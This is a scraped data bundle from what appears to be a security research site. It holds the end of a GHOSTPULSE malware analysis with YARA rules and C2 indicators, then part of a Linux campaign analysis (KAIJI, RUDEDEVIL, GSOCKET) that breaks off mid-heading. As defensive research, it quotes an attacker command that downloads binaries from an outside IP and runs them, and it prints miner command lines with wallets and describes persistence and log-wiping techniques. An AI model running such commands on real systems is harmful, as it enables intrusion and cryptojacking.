\",(0,t.jsx)(e.code,{children:\"GREEN\"}),\", and \",(0,t.jsx)(e.code,{children:\"BLUE\"}),\" (RGB) values sequentially using standard Windows APIs from the \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-gdi-start\",rel:\"nofollow\",children:\"GdiPlus(GDI+)\"}),\" library. Once the byte array is built, the malware searches for the start of a structure that contains the encrypted GHOSTPULSE configuration, including the XOR key needed for decryption. It does this by looping through the byte array in 16-byte blocks. For each block, the first 4 bytes represent a CRC32 hash, and the next 12 bytes are the data to be hashed. The malware computes the CRC32 of the 12 bytes and checks if it matches the hash. If a match is found, it extracts the offset of the encrypted GHOSTPULSE configuration, its size, and the 4-byte XOR key, and then XOR decrypts it.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The following diagram provides a visual breakdown of this process:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/tricks-and-treats/image5.png\",alt:\"\",width:\"1999\",height:\"467\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"updated-configuration-extractor\",children:\"Updated configuration extractor\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Based on these findings, we have updated our configuration extractor to support both versions of GHOSTPULSE. This tool takes a PNG file as input and outputs the embedded payload. You can find the updated tool in our \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/tools/ghostpulse\",rel:\"nofollow\",children:\"labs-releases repository\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/tricks-and-treats/image3.png\",alt:\"\",width:\"1999\",height:\"301\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"detecting-ghostpulse-with-yara\",children:\"Detecting GHOSTPULSE with YARA\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The original \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GhostPulse.yar\",rel:\"nofollow\",children:\"GHOSTPULSE YARA\"}),\" rule still prevents the final stage of an infection and is built into Elastic Defend. The updated sample can be detected using the following YARA rules and will be included with Elastic Defend in a future release.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Elastic Security has updated the GHOSTPULSE YARA rules to identify this activity:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`rule Windows_Trojan_GHOSTPULSE_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-10-15\"\n last_modified = \"2024-10-15\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"GHOSTPULSE\"\n threat_name = \"Windows.Trojan.GHOSTPULSE\"\n license = \"Elastic License v2\"\n\n strings:\n $stage_1 = { 49 63 D0 42 8B 0C 0A 41 03 CA 89 0C 1A 8B 05 ?? ?? ?? ?? 44 03 C0 8B 05 ?? ?? ?? ?? 44 3B C0 }\n $stage_2 = { 48 89 01 48 8B 84 24 D8 00 00 00 48 8B 4C 24 78 8B 49 0C 89 08 C7 44 24 44 00 00 00 00 }\n\n condition:\n any of them\n}\n\nrule Windows_Trojan_GHOSTPULSE_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-10-10\"\n last_modified = \"2024-10-10\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"GHOSTPULSE\"\n threat_name = \"Windows.Trojan.GHOSTPULSE\"\n license = \"Elastic License v2\"\n\n strings:\n $a1 = { 48 83 EC 18 C7 04 24 00 00 00 00 8B 04 24 48 8B 4C 24 20 0F B7 04 41 85 C0 74 0A 8B 04 24 FF C0 89 04 24 EB E6 C7 44 24 08 00 00 00 00 8B 04 24 FF C8 8B C0 48 8B 4C 24 20 0F B7 04 41 83 F8 5C }\n\n condition:\n all of them\n}\n`})}),`\n`,(0,t.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsx)(e.p,{children:\"In summary, the GHOSTPULSE malware family has evolved since its release in 2023, with this recent update marking one of the most significant changes.\"}),`\n`,(0,t.jsx)(e.p,{children:\"As attackers continue to innovate, defenders must adapt by utilizing updated tools and techniques to mitigate these threats effectively. We are excited to share our newly developed configuration extractor tool, designed to analyze the older and newer versions of GHOSTPULSE. This tool empowers researchers and cybersecurity professionals by providing enhanced capabilities for understanding and combating these evolving threats. As the landscape of cyber threats changes, collaboration, and innovation remain essential for effective protection.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"observations\",children:\"Observations\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"All observables are also available for \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/indicators/ghostpulse\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The following observables were discussed in this research.\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:\"Observable\"}),(0,t.jsx)(e.th,{children:\"Type\"}),(0,t.jsx)(e.th,{children:\"Name\"}),(0,t.jsx)(e.th,{children:\"Reference\"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"57ebf79c384366162cb0f13de0de4fc1300ebb733584e2d8887505f22f877077\"})}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"Setup.exe\"})}),(0,t.jsx)(e.td,{children:\"GHOSTPULSE sample\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"b54d9db283e6c958697bfc4f97a5dd0ba585bc1d05267569264a2d700f0799ae\"})}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"Setup_light.exe\"})}),(0,t.jsx)(e.td,{children:\"GHOSTPULSE sample\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"winrar01.b-cdn[.]net\"})}),(0,t.jsx)(e.td,{children:\"domain-name\"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{children:\"Infrastructure hosting GHOSTPULSE sample\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"reinforcenh[.]shop\"})}),(0,t.jsx)(e.td,{children:\"domain-name\"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{children:\"LUMMASTEALER C2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"stogeneratmns[.]shop\"})}),(0,t.jsx)(e.td,{children:\"domain-name\"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{children:\"LUMMASTEALER C2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"fragnantbui[.]shop\"})}),(0,t.jsx)(e.td,{children:\"domain-name\"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{children:\"LUMMASTEALER C2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"drawzhotdog[.]shop\"})}),(0,t.jsx)(e.td,{children:\"domain-name\"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{children:\"LUMMASTEALER C2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"vozmeatillu[.]shop\"})}),(0,t.jsx)(e.td,{children:\"domain-name\"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{children:\"LUMMASTEALER C2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"offensivedzvju[.]shop\"})}),(0,t.jsx)(e.td,{children:\"domain-name\"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{children:\"LUMMASTEALER C2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"ghostreedmnu[.]shop\"})}),(0,t.jsx)(e.td,{children:\"domain-name\"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{children:\"LUMMASTEALER C2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"gutterydhowi[.]shop\"})}),(0,t.jsx)(e.td,{children:\"domain-name\"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{children:\"LUMMASTEALER C2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"riderratttinow[.]shop\"})}),(0,t.jsx)(e.td,{children:\"domain-name\"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{children:\"LUMMASTEALER C2\"})]})]})]})})]})}function v(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(l,i)})):l(i)}var T=v;return y(E);})();\n;return Component;"},"_id":"articles/tricks-and-treats.mdx","_raw":{"sourceFilePath":"articles/tricks-and-treats.mdx","sourceFileName":"tricks-and-treats.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/tricks-and-treats"},"type":"Article","imageUrl":"/assets/images/tricks-and-treats/tricks-and-treats.jpg","readingTime":"13 min read","series":"","url":"/tricks-and-treats","headings":[{"level":2,"title":"Update","href":"#update"},{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Introduction","href":"#introduction"},{"level":2,"title":"Technical analysis","href":"#technical-analysis"},{"level":2,"title":"Updated configuration extractor","href":"#updated-configuration-extractor"},{"level":2,"title":"Detecting GHOSTPULSE with YARA","href":"#detecting-ghostpulse-with-yara"},{"level":2,"title":"Conclusion","href":"#conclusion"},{"level":2,"title":"Observations","href":"#observations"}],"author":[{"title":"Salim Bitam","slug":"salim-bitam","description":"Elastic Security Labs Team Research Engineer II, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?l(g(t)):{},o(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eo(i({},\"__esModule\",{value:!0}),t);var m=d((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003ew,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Salim Bitam\",description:\"Elastic Security Labs Team Research Engineer II, Malware\",slug:\"salim-bitam\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var w=h;return M(y);})();\n;return Component;"},"_id":"authors/salim-bitam.mdx","_raw":{"sourceFilePath":"authors/salim-bitam.mdx","sourceFileName":"salim-bitam.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/salim-bitam"},"type":"Author","imageUrl":"","url":"/authors/salim-bitam"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Betting on Bots: Investigating Linux malware, crypto mining, and gambling API abuse","slug":"betting-on-bots","date":"2024-09-27","description":"The REF6138 campaign involved cryptomining, DDoS attacks, and potential money laundering via gambling APIs, highlighting the attackers' use of evolving malware and stealthy communication channels.","image":"betting-on-bots.jpg","tags":["linux","kaiji","rudedevil","gsocket","cryptomining"],"body":{"raw":"\n## Introduction\n\nIn recent months, Elastic Security Labs has uncovered a sophisticated Linux malware campaign targeting vulnerable servers. The attackers initiated the compromise in March 2024 by exploiting an Apache2 web server. Gaining initial access the threat actors deployed a complex intrusion set to establish persistence and expand their control over the compromised host.\n\nThe threat actors utilized a mixture of tools and malware, including C2 channels disguised as kernel processes, telegram bots for communication, and cron jobs for scheduled task execution. Notably, they deployed multiple malware families, such as KAIJI and RUDEDEVIL, alongside custom-written malware. KAIJI, known for its DDoS capabilities, and RUDEDEVIL, a cryptocurrency miner, were used to exploit system resources for malicious purposes.\n\nOur investigation revealed a potential Bitcoin/XMR mining scheme that leverages gambling APIs, suggesting the attackers might be conducting money laundering activities using compromised hosts. We also gained access to a file share that hosted daily uploads of fresh KAIJI samples with previously unseen hashes, indicating active development and adaptation by the malware authors.\n\nThis research publication delves into the details of the campaign, providing a comprehensive analysis of the attackers' tactics, techniques, and procedures. We explore how they established initial access, the methods used for persistence and privilege escalation, and the malware deployed at each stage. Additionally, we discuss the command and control infrastructure, including the use of GSOCKET and Telegram for stealthy communication.\n\n## Execution flow\n\n### Initial access\n\nOur team observed a host that was initially compromised in March 2024 by obtaining arbitrary code execution on a server running Apache2. Evidence of this compromise is seen in the execution of the `id` command via the Apache2 process, after which we see the threat actor exploiting the web server and deploying KAIJI malware under the `www-data` user account.\n\nShortly after the Kaiji deployment, the attacker used the `www-data` account to download a script named `00.sh` from the URL `http://61.160.194[.]160:35130`, which, after further investigation, also hosted several versions of RUDEDEVIL malware.\n\n`00.sh` is a stager that:\n\n* Sets its default shell and PATH.\n* Deletes several log files to erase traces of execution.\n* Leverages `ps`, `netstat`, `lsof` and a list of common mining process names to kill any potential mining competition on the compromised host.\n* Flushes the `iptables` rules on the host, sets several `iptables` rules to block connections to specific destination ports and mining pools, and disables `iptables`.\n* Finally, a second stage (`sss6`/`sss68`) is downloaded and executed, and execution traces are erased.\n\nThe figure below shows a compressed version of the stager. Lines annotated with `[...]` are shortened to enhance readability. \n\n![Compressed version of the 00.sh stager](/assets/images/betting-on-bots/image5.png \"Compressed version of the 00.sh stager\")\n\n### Fileserver\n\nVia the backdoored web server process, the attacker downloaded and executed malware through the following command:\n\n```\nsh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86\n```\n\nThe `l64` and `l86` files are downloaded from `http://107.178.101[.]245:5488`, after which they are granted all permissions, executed, and removed. Looking at the server that is hosting these malware samples, we see the following:\n\n![Rejetto File Server Hosting Several Pieces of Malware](/assets/images/betting-on-bots/image30.png \"Rejetto File Server Hosting Several Pieces of Malware\")\n\nThis seems to be a file server, hosting several types of malware for different architectures. The file server leverages the Rejetto technology. These malwares have upload dates and download counters. For example, the `download.sh` file that was uploaded September 10th, was already downloaded 3,100 times. \n\n![Download Counter Indicating 3000+ Downloads Within 2 Weeks of Upload](/assets/images/betting-on-bots/image25.png \"Download Counter Indicating 3000+ Downloads Within 2 Weeks of Upload\")\n\n### RUDEDEVIL/LUCIFER\n\nUpon closer inspection, the file `sss6`, which was downloaded and executed, has been identified as the RUDEDEVIL malware. Early in the execution process, we encounter an embedded message characteristic of this malware family:\n\n![RUDEDEVIL Malware Characteristic](/assets/images/betting-on-bots/image11.png \"RUDEDEVIL Malware Characteristic\")\n\n```\nHi, man. I\\'ve seen several organizations report my Trojan recently, \nPlease let me go. I want to buy a car. That\\'s all. I don\\'t want to hurt others. \nI can\\'t help it. My family is very poor. In China, it\\'s hard to buy a suite. \nI don\\'t have any accommodation. I don\\'t want to do anything illegal. \nReally, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, \nthank yo\n```\n\nWe note that the files `l64` and `l86` that are hosted on the file server contain the same malware. When analyzing the execution flow of the malware we see that the main function of the malware performs several key tasks:\n\n* **Daemon Initialization:** The process is converted into a daemon using `daemon(1, 0)`.\n* **Socket Creation:** A socket is created and bound to a specific port.\n* **Signal Handling:** Custom signal handlers are set up for various signals.\n* **Service Initialization:** Several services are started using `SetFILE`.\n* **Privilege Handling:** It checks for root privileges and adjusts resource limits accordingly.\n* **Decryption:** The malware decrypts its configuration blobs.\n* **Thread Creation:** Multiple threads are spawned for tasks like mining, killing processes, and monitoring network and CPU usage.\n* **Main Loop:** The program enters an infinite loop where it repeatedly connects to a server and sleeps for a specified duration.\n\nWhen examining the encryption routine, we find it utilizes XOR-based encoding:\n\n![DareDevil Encryption Routine](/assets/images/betting-on-bots/image13.png \"DareDevil Encryption Routine\")\n\nTo decode the contents statically, we developed a basic Python snippet:\n\n``` python\ndef DecryptData(data_block, encryption_key):\n key_modifier = encryption_key \u0026 0xFF\n key_index = key_modifier // 0x5F # 0x5F = 95 in decimal\n modifier = (key_modifier - (key_index * 0x5F)) + 0x58 # 0x58 = 88 in decimal\n\n for i in range(len(data_block)):\n data_block[i] ^= modifier\n data_block[i] \u0026= 0xFF # Ensure 8-bit value\n data_block[i] += modifier\n data_block[i] \u0026= 0xFF # Ensure 8-bit value\n\n return data_block\n\n# Encoded data as hex strings\nencoded_data = [\n '4c494356515049490c467978',\n '0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',\n '0f424d4e0f435536575649484b',\n '5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',\n]\n\nencryption_key = 0x03FF # 1023 in decimal\n\n# Process and decrypt each encoded data string\nfor data in encoded_data:\n # Convert hex string to list of integers\n data_bytes = bytes.fromhex(data)\n data_block = list(data_bytes)\n\n # Decrypt the data\n decrypted_block = DecryptData(data_block, encryption_key)\n\n # Convert decrypted data back to bytes\n decrypted_bytes = bytes(decrypted_block)\n print(\"Decrypted text:\", decrypted_bytes.decode('utf-8', errors='ignore'))\n```\n\nAfter decoding the configuration, the following values are revealed:\n\n* The first value C2 domain `nishabii[.]xyz`.\n* The second value reveals options that will be passed to XMRIG.\n* The third value shows the temp file location the malware uses.\n* The fourth and last string shows the download location for the XMRIG binary.\n\n### Thread Management in the Malware\n\nThe malware initiates several threads to handle its core operations. Let’s explore how some of these functions work in detail.\n\n#### Understanding the KillPid Function\n\nOne of the threads runs the KillPid function, which is designed to continuously monitor and manage processes. The function begins by detaching its current thread, allowing it to run in the background without blocking other processes. It then enters an infinite loop, repeatedly executing its tasks.\n\nAt the heart of its functionality is an array called `sb_name`, which contains the names of processes the malware wants to terminate. \n\n![RUDEDEVIL kill process array](/assets/images/betting-on-bots/image24.png \"RUDEDEVIL kill process array\")\n\nEvery two seconds, the function checks the system for processes listed in this array, retrieving their process IDs (PIDs) using a helper function called `getPidByName`. After each iteration, it moves to the next process in the list, ensuring all processes in `sb_name` are handled.\n\nInterestingly, after processing all elements in the array, the function enters an extended sleep for 600 seconds — roughly 10 minutes — before resuming its process checks. This extended sleep period is likely implemented to conserve system resources, ensuring the malware doesn't consume too much CPU time while monitoring processes.\n\n#### Understanding the Get_Net_Messages Function\n\nAnother crucial thread is responsible for monitoring network traffic, specifically focusing on the `eth0` network interface. This functionality is handled by the `getOutRates` function. The function begins by setting up necessary variables and opening the `/proc/net/dev` file, which contains detailed network statistics for each interface.\n\n![Getting network rates from /proc/net/dev](/assets/images/betting-on-bots/image22.png \"Getting network rates from /proc/net/dev\")\n\nIf the file is successfully opened, the malware reads a block of data — up to 1024 bytes — and processes it to extract the relevant network statistics. It specifically looks for the `eth0` interface, parsing the output rate data using a standard string parsing method. If successful, the function returns the output rate for `eth0`; otherwise, it returns `0`, ensuring the malware continues functioning even if an error occurs.\n\nThis routine allows the malware to quietly monitor the network activity of the infected machine, likely to track data being sent or received across the interface.\n\n#### Understanding the Get_Cpu_Message Function\n\nFor CPU monitoring, the malware uses the `GetCpuRates` function. This function continuously monitors the CPU usage by reading data from `/proc/stat`. Similar to how the network data is handled, the CPU statistics are read and parsed, allowing the malware to calculate the system's CPU usage.\n\n![Getting CPU information from /proc/stat](/assets/images/betting-on-bots/image34.png \"Getting CPU information from /proc/stat\")\n\nThe function operates in an infinite loop, sleeping for one second between each iteration to avoid overwhelming the system. If the file cannot be opened for some reason, the function logs an error and gracefully exits. However, as long as it’s able to read the file, it continually monitors CPU usage, ensuring the malware remains aware of system performance.\n\n#### Understanding the Send_Host_Message Function\n\nPerhaps the most critical thread is the one responsible for sending system information back to the malware operators. The `_SendInfo` function performs this task by collecting data about the infected system’s CPU and network usage. It begins by setting up buffers and preparing file paths to gather the necessary data. Depending on the system’s status, it formats the CPU and network usage into a string.\n\n![Sending system info back to the C2](/assets/images/betting-on-bots/image19.png \"Sending system info back to the C2\")\n\nAdditionally, the function checks whether a particular process is running on the system and adjusts its formatted message accordingly. Finally, it sends this formatted data back to the command-and-control server via a socket connection.\n\nIn essence, this function allows the malware to remotely monitor the infected machine, gathering key details like CPU load and network activity. The operators can use this information to assess the status of their infection and adjust their activities as needed.\n\n### Connecting to the Command-and-Control (C2) Server\n\nOnce all the threads are up and running, the malware shifts its focus to establishing a connection with its C2 server. This is managed by the `ConnectServer` function in the main thread, which handles communication with the server and executes commands remotely.\n\n#### Understanding the ConnectServer Function\n\nThe first task the `ConnectServer` function performs is establishing a connection to the C2 server using `ServerConnectCli`. After successfully connecting, the malware configures the socket to enable keep-alive settings, ensuring that the connection remains stable over extended periods of time.\n\nOnce the connection is set up, the malware collects various pieces of system information, including the hostname, user information, CPU specs, and memory details. This information is then sent to the server as an initial data payload, providing the attackers with a detailed view of the infected machine.\n\nAfter this initial setup, the malware enters an ongoing loop where it awaits and processes commands from the server. The types of commands handled are varied and can include tasks like launching a DDoS attack, stopping or starting CPU-intensive operations, executing system commands, or managing cryptocurrency mining activities. The loop continues indefinitely, ensuring that the malware is ready to execute any command sent by its operators.\n\nWhen the connection is no longer needed, or when the malware receives a termination command, it gracefully closes the socket, ending the session with the server.\n\n#### Command-and-Control (C2) Commands\n\nThe `ConnectServer` function processes a variety of commands from the C2 server, each designed to control a different aspect of the infected system. Here’s a breakdown of the commands handled by the malware:\n\n* **Case 4:** The malware calls the `DealwithDDoS` function, likely initiating a Distributed Denial of Service (DDoS) attack.\n* **Case 5:** Sets the `StopFlag` to `1`, which could signal the malware to stop specific tasks.\n* **Case 6:** Downloads a file from the server using `http_get`, changes its permissions, and then executes it. This command allows the attackers to run additional malware or scripts on the infected machine.\n* **Case 7:** Executes a system command using the `system` function, providing the attackers with direct control over the system’s command line.\n* **Case 8:** Sets `StopCpu` to `0`, restarting any previously halted CPU tasks.\n* **Case 9:** Sets `StopCpu` to `1`, halting all CPU tasks.\n* **Case 0xA:** Updates the CPU mining configuration with new data and retrieves the PID of the current process, allowing the malware to modify its cryptocurrency mining operations.\n* **Case 0xB:** Sets `stopxmr` to `1`, effectively stopping the XMRIG miner.\n* **Case 0xC:** Resets `stopxmr` to `0` and retrieves the current process PID, resuming the mining activity.\n\n![Processing of C2 commands](/assets/images/betting-on-bots/image19.png \"Processing of C2 commands\")\n\nEach command gives the malware operators precise control over how the infected machine behaves, whether it’s participating in a DDoS attack, running new malware, or managing mining operations.\n\n### Variants of RUDEDEVIL Malware and XMRIG Configuration\n\nWhile the file server mentioned before was active, we observed multiple versions of the RUDEDEVIL malware being uploaded. The core functionality of these versions remained largely the same, with the only significant variation being the embedded XMRIG commands used for cryptocurrency mining.\n\nEach version of the malware was configured to connect to the same mining pool, `c3pool.org`, but with slight differences in the parameters passed to the XMRIG miner:\n\n* `-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R`\n* `-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2`\n* `-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php`\n* `-o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0`\n\nEach of these commands directs the miner to connect to the same mining pool but specifies different wallets or configurations. By examining the `c3pool` application, we confirmed that both XMR addresses associated with these commands are currently active and mining.\n\n![C3pool mining revenue](/assets/images/betting-on-bots/image9.png \"C3pool mining revenue\")\n\nAdditionally, through this analysis, we were able to estimate the total profit generated by these two mining campaigns, highlighting the financial impact of the RUDEDEVIL malware and its connection to illegal cryptocurrency mining operations.\n\n## GSOCKET\n\nTo establish persistence, the threat actor downloaded and installed [GSOCKET](https://github.com/hackerschoice/gsocket), a network utility designed to enable encrypted communication between machines that are behind firewalls or NAT. GSOCKET creates secure, persistent connections through the Global Socket Relay Network (GSRN). This open-source tool includes features like AES-256 encryption, support for end-to-end communication security, and compatibility with SSH, netcat, and TOR, which allow for encrypted file transfers, remote command execution, and even the creation of hidden services.\n\nAlthough GSOCKET is not inherently malicious, its features can be leveraged for suspicious purposes.\n\nOnce deployed, GSOCKET performs several actions to maintain persistence and conceal its presence. First, it checks the system for active kernel processes to decide which process it will masquerade as:\n\n![GSOCKET Kernel Process Masquerading](/assets/images/betting-on-bots/image7.png \"GSOCKET Kernel Process Masquerading\")\n\nIt then creates the `/dev/shm/.gs-1000` directory to download and store its binary in shared memory. Additionally, by default, it sets up an `/htop` directory under `/home/user/.config/htop/` to store both the GSOCKET binary and the secret key used for its operations. \n\nNext, a cron job that runs the GSOCKET binary with the secret key every minute is set up.\n\n![GSOCKET Crontab Persistence](/assets/images/betting-on-bots/image21.png \"GSOCKET Crontab Persistence\")\n\nThe binary is executed under the name of a kernel process using the `exec -a [process_name]` command, further enhancing the ability to evade detection. The cron job includes a base64 encoded command that, when decoded, ensures the persistence mechanism is regularly executed and disguised as a legitimate kernel process:\n\nWhen decoding the payload, we see how the `defunct.dat` secret key is used as an argument to execute the `defunct` binary, which is masqueraded as `[raid5wq]` through the use of `exec -a `command:\n\nIn addition to using cron jobs, GSOCKET has the capability to establish persistence through shell profile modification, run control (`rc.local`) and Systemd. GSOCKET enumerates potential persistence locations:\n\n![GSOCKET Persistence Technique Enumeration](/assets/images/betting-on-bots/image29.png \"GSOCKET Persistence Technique Enumeration\")\n\nGSOCKET supports multiple webhooks, such as Telegram or Discord integrations, enabling remote control and notifications:\n\n![GSOCKET Webhook Capabilities](/assets/images/betting-on-bots/image14.png \"GSOCKET Webhook Capabilities\")\n\nFinally, after installation, GSOCKET ensures that all files that are created or modified, will be timestomped to attempt to erase any trace of installation:\n\n![GSOCKET Timestomping Capability](/assets/images/betting-on-bots/image16.png \"GSOCKET Timestomping Capability\")\n\nThese features make GSOCKET an attractive tool for threat actors seeking stealth and persistence. In this campaign, GSOCKET was exploited to establish covert channels back to C2 servers while attempting to evade detection. \n\nAdditionally, a PHP payload was fetched from an external IP and saved as `404.php`, likely functioning as a backdoor for future access. We did not manage to obtain this payload.\n\n### Post compromise dwell time\n\nAfter a three-week period of quiet with no noticeable activity, the threat actors resumed operations by utilizing the built-in Python3 to establish a reverse connection to a new command-and-control server.\n\nAfter regaining access to the host, a newer version of the KAIJI malware was deployed.\n\n### 